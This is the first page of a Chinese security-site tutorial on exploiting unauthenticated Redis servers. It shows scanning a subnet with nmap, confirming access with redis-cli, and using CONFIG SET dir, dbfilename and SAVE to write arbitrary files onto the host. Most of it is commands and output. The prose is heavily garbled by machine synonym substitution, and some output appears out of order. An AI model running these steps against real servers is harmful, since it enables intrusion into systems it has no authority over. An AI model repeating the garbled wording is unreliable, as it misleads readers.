欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

关于Redis未授权访问破绽漏洞bug想尽研究运用

来源:本站整理 作者:佚名 时间:2017-09-25 TAG: 我要投稿

redis固然是高性能内存数据库,但也支撑将内存数据保留至硬盘上,实现持久化存储。因为 redis 未强迫拜访鉴权,招致未受权拜访破绽漏洞bug频发,入侵者借此节制 redis 直接得到体系写文件的能力,极大晋升入侵攻击力。
redis未受权破绽漏洞bug的发觉到常有两种方法,你能够用 redis-cli 手工针对单个机械验证:
$ redis-cli -p 6379 -h 192.168.56.101
192.168.56.101:6379> INFO server
# Server
redis_version:4.0.1
redis_git_sha1:00000000
redis_git_dirty:0
redis_build_id:65864c9f72c0dcf
redis_mode:standalone
os:Linux 3.16.0-4-amd64 x86_64
arch_bits:64
multiplexing_api:epoll
atomicvar_api:atomic-builtin
gcc_version:4.9.2
process_id:2213
run_id:f4583ca8759931262b707df016655eabd7b85eed
tcp_port:6379
uptime_in_seconds:2101
uptime_in_days:0
hz:10
lru_clock:12289112
executable:/root/redis-server
config_file:
此中,INFO server 为登录 redis 后履行的外部敕令,用于表现办事端环境信息,好比操作体系的版本、GCC 的版本、redis 的版本等等信息,可见在未输入任何账号/暗码环境下,曾经胜利履行 redis 外部敕令,确认存在未受权拜访破绽漏洞bug;你也能够用 nmap 主动批量验证:
$ nmap -v -n -Pn -p 6379 -sV --scriptredis-info 192.168.56.1/24
...
Nmap scan report for 192.168.56.101
Host is up (-0.078s latency).
PORT     STATE SERVICE VERSION
6379/tcp open  redis  Redis key-value store 4.0.1 (64 bits)
| redis-info:
|  Version: 4.0.1
|  Operating System: Linux 3.16.0-4-amd64 x86_64
|  Architecture: 64 bits
|  Process ID: 2213
|  Used CPU (sys): 3.20
|  Used CPU (user): 0.77
|  Connected clients: 2
|  Connected slaves: 0
|  Used memory: 828.64K
|  Role: master
|  Bind addresses:
|    0.0.0.0
|  Client connections:
|_   192.168.56.1
...
此中,redis-info 为 nmap 专用于反省该破绽漏洞bug的插件,检测规模为 192.168.56.1/24 全部 C 段,从输入成果中也能看到大批 192.168.56.101 的环境信息,胜利检测到未受权拜访破绽漏洞bug。
有了未受权拜访破绽漏洞bug,就有了向体系写文件的能力。但,另有个紧张条件,redis 能够创立文件但无奈创立目次,以是,redis 待写入文件地点的目次必需事前存在。redis 写文件大抵分为四个步调:登录、设置文件门路、创立键/值、保留。
用 redis-cli 衔接 redis:
$ redis-cli -p 6379 -h 192.168.56.101
192.168.56.101:6379>
输入 PING 回显 PONG 则表现登录胜利:
192.168.56.101:6379> ping
PONG
阐明衔接胜利。指定写文件的目次:
192.168.56.101:6379> CONFIG SETdir /tmp
OK
这个目次,必需已存在且 redis 装置账号对其有写权限,否则将报错:
(error) ERR Changing directory: Nosuch file or directory
设置要写入的文件名:
192.168.56.101:6379> CONFIG SETdbfilename yourfile
OK
如许,文件门路完备为 /tmp/yourfile。创立键为 yourkey、值为 yourvalue 的键/值对:
192.168.56.101:6379> SET YOURKEY"YOURVALUE"
OK
将内存数据写入文件:
登录 192.168.56.101 反省刚写入的文件:
# cat /tmp/yourfile
REDIS0008�       redis-ver4.0.1�
redis-bits�@�ctime�!��Yused-memˆ�
                                 �
                                  aof-preamble��repl-id(f673f43a842713fcfa179696f306c536f476e997�
                                                                                                repl-offset���##oldkeoldvalueyourkey       yourvalue�Z?#��
192.168.56.101:6379> SAVE
OK
存在乱码,是因为 redis 以二进制形式写文件,二进制形式反省:
$ xxd /tmp/yourfile
0000000: 5245 4449 5330 3030 38fa0972 6564 6973  REDIS0008..redis
0000010: 2d76 6572 0534 2e30 2e31fa0a 7265 6469  -ver.4.0.1..redi
0000020: 732d 6269 7473 c040 fa056374 696d 65c2  s-bits.@..ctime.
0000030: 21c0 9a59 fa08 7573 65642d6d 656d c288  !..Y..used-mem..
0000040: 9d0c 00fa 0c61 6f66 2d707265 616d 626c  .....aof-preambl
0000050: 65c0 00fa 0772 6570 6c2d6964 2866 3637  e....repl-id(f67

[1] [2] [3] [4] [5] [6] [7]  下一页

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载